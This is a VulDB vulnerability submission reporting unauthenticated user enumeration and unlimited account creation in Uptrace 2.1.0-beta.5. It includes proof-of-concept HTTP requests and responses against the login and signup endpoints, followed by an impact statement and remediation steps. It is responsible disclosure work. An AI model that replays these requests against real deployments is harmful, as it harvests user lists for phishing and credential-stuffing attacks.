Soumettre #992057: https://github.com/uptrace/ uptrace 2.1.0-beta.5 Information Disclosure

Unauthenticated user enumeration and account spam in Uptrace 2.1.0-beta.5

There are two unauthenticated information-disclosure issues affecting the built-in username/password authentication. Both let any network attacker enumerate which email addresses correspond to real accounts, and the second additionally allows them to create arbitrary unconfirmed accounts at no cost.

Endpoint 1: POST /internal/v1/users/login
Submitting a deliberately wrong password yields one of three distinct error codes in the JSON body, allowing an attacker to tell email_not_found, wrong_password and confirm_email apart.

Endpoint 2: POST /internal/v1/users
The signup handler returns "user with such email already exists, but the password does not match" for existing addresses and creates a real users row (HTTP 200, full user object) for unknown addresses. No rate limit, CAPTCHA, or proof-of-work is in place.

Reproduction against a stock docker-compose deployment of uptrace/uptrace:2.1.0-beta.5:

PoC subsection

POST /internal/v1/users/login HTTP/1.1
Host: localhost:9146
Content-Type: application/json

{"email":"[email protected]","password":"WrongPassword!1"}

HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error":{"code":"wrong_password","message":"Wrong password. Try again or click Forgot password to reset it."},"statusCode":400}

POST /internal/v1/users/login HTTP/1.1
Host: localhost:9146
Content-Type: application/json

{"email":"[[email protected]](mailto:[email protected])","password":"WrongPassword!1"}

HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error":{"code":"confirm_email","message":"Please check your inbox to confirm email address before signing in"},"statusCode":400}

POST /internal/v1/users/login HTTP/1.1
Host: localhost:9146
Content-Type: application/json

{"email":"[[email protected]](mailto:[email protected])","password":"WrongPassword!1"}

HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error":{"code":"email_not_found","message":"User with such email does not exist."},"statusCode":400}

POST /internal/v1/users HTTP/1.1
Host: localhost:9146
Content-Type: application/json

{"email":"[[email protected]](mailto:[email protected])","password":"WrongPassword!1"}

HTTP/1.1 200 OK
Content-Type: application/json

{"user":{"id":3,"name":"","email":"[[email protected]](mailto:[email protected])","emailConfirmed":false,...}}

Impact

These flaws let an unauthenticated attacker harvest a complete inventory of registered users, distinguish confirmed from unconfirmed accounts, and arbitrarily populate the users table. The enumerated list directly feeds phishing, credential-stuffing and password-spray attacks against Uptrace and any other service that shares an email address with it. The signup primitive enables resource exhaustion (database rows, gravatar requests, admin review queues) and, in deployments where email confirmation is later disabled or intercepted, account pre-registration of victim identities.

Suggested remediation

1. Collapse the three login error variants into a single generic response such as "invalid email or password" with HTTP 401, and return the same message regardless of email existence or confirmation state.
2. Apply the same generic response to the signup endpoint when the email already exists, ideally by silently sending the standard "to complete registration check your inbox" mail to the existing address so that responses are indistinguishable.
3. Add rate limiting and a CAPTCHA or proof-of-work check to the signup endpoint, or require the bootstrap admin to opt in to open registration via config.
4. Consider closing self-service signup by default in self-hosted deployments and exposing it only when an explicit auth.allow_signup flag is set.

• La source: ⚠️ https://github.com/uptrace/uptrace/issues/600
• Utilisateur: geochen (UID 78995)
• Soumission: 19/09/2026 11:32 (il y a 17 jours)
• Modérer: 05/10/2026 20:27 (16 days later)
• Statut: Accepté
• Entrée VulDB: 413700 [uptrace jusqu’à 2.1.0-beta.8 pkg/org/user_handler.go Login divulgation d'information]
• Points: 20